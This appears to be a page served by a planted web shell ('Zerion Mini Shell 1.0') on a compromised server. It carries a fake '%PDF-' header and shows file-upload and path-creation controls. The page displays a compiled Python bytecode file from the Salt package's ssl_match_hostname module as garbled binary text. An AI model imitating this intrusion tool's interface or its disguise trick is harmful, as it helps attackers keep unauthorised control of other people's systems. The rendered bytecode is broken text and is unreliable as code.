%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/ext/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/ext/ssl_match_hostname.pyo

�
���^c@sGdZddlZdZdefd��YZdd�Zd�ZdS(	s
This is merely a copy of the actual code which comes verbatim from Python 3.4.

If this code is already available on the system, the system copy should be used
instead, as the system copy may be more current. If it is not available, then
this copy will be used.
i����Ns3.4.0.2tCertificateErrorcBseZRS((t__name__t
__module__(((s?/usr/lib/python2.7/site-packages/salt/ext/ssl_match_hostname.pyRsic
CsRg}|stS|jd�}|d}|d}|jd�}||krgtdt|���n|s�|j�|j�kS|dkr�|jd�nY|jd�s�|jd�r�|jtj	|��n"|jtj	|�j
dd	��x$|D]}|jtj	|��q�Wtjd
dj|�dtj
�}	|	j|�S(
shMatching according to RFC 6125, section 6.4.3

    http://tools.ietf.org/html/rfc6125#section-6.4.3
    t.iit*s,too many wildcards in certificate DNS name: s[^.]+sxn--s\*s[^.]*s\As\.s\Z(tFalsetsplittcountRtreprtlowertappendt
startswithtretescapetreplacetcompiletjoint
IGNORECASEtmatch(
tdnthostnamet
max_wildcardstpatstpartstleftmostt	remaindert	wildcardstfragtpat((s?/usr/lib/python2.7/site-packages/salt/ext/ssl_match_hostname.pyt_dnsname_matchs*

"
&cCs[|std��ng}|jdd
�}xC|D];\}}|dkr4t||�r_dS|j|�q4q4W|s�xc|jdd�D]L}xC|D];\}}|dkr�t||�r�dS|j|�q�q�Wq�Wnt|�dkrtd|d	jtt|��f��n;t|�dkrKtd
||df��ntd��dS(s)Verify that *cert* (in decoded format as returned by
    SSLSocket.getpeercert()) matches the *hostname*.  RFC 2818 and RFC 6125
    rules are followed, but IP addresses are not accepted for *hostname*.

    CertificateError is raised on failure. On success, the function
    returns nothing.
    sempty or no certificatetsubjectAltNametDNSNtsubjectt
commonNameis&hostname %r doesn't match either of %ss, shostname %r doesn't match %ris=no appropriate commonName or subjectAltName fields were found(((	t
ValueErrortgetRR
tlenRRtmapR(tcertRtdnsnamestsantkeytvaluetsub((s?/usr/lib/python2.7/site-packages/salt/ext/ssl_match_hostname.pytmatch_hostnameLs.%(t__doc__Rt__version__R"RRR,(((s?/usr/lib/python2.7/site-packages/salt/ext/ssl_match_hostname.pyt<module>s
5

Zerion Mini Shell 1.0